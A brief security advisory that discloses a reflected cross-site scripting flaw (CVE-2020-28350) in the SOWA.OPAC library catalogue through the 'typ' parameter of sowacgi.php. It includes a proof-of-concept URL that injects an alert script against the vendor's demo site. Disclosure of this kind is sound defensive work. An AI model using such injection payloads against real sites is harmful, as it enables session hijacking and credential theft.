# Title: SOWA.OPAC Reflected Cross Site Scripting # Vulnerability Type: Cross Site Scripting (XSS) # Attack Type: Account Hijacking, Credential Theft, Data Leakage # Author: Marek Holka # Date: 2020-11-08 # Vendor: SOKRATES-software # Software Link: https://www.demo.sowwwa.pl/sowacgi.php # Version: SOWA.OPAC all versions up to 5.6.2 # CVE: CVE-2020-28350 # Description: A Cross Site Scripting (XSS) vulnerability exists in Sokrates SOWA SowaSQL via the sowacgi.php "typ" parameter which means that this parameter did not sanitize HTML characters. The module SOWA.WWW was fixed in 4.8.16, whereas the module SOWA.OPAC was fixed in 5.6.2. # Attack Vectors: To use this vulnerability victim needs to open crafted URL which inject a Javascript code to url parameter "typ": https://www.demo.sowwwa.pl/sowacgi.php?KatID=0&typ=test%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E # Reference OWASP top 10: https://owasp.org/www-community/attacks/xss/ >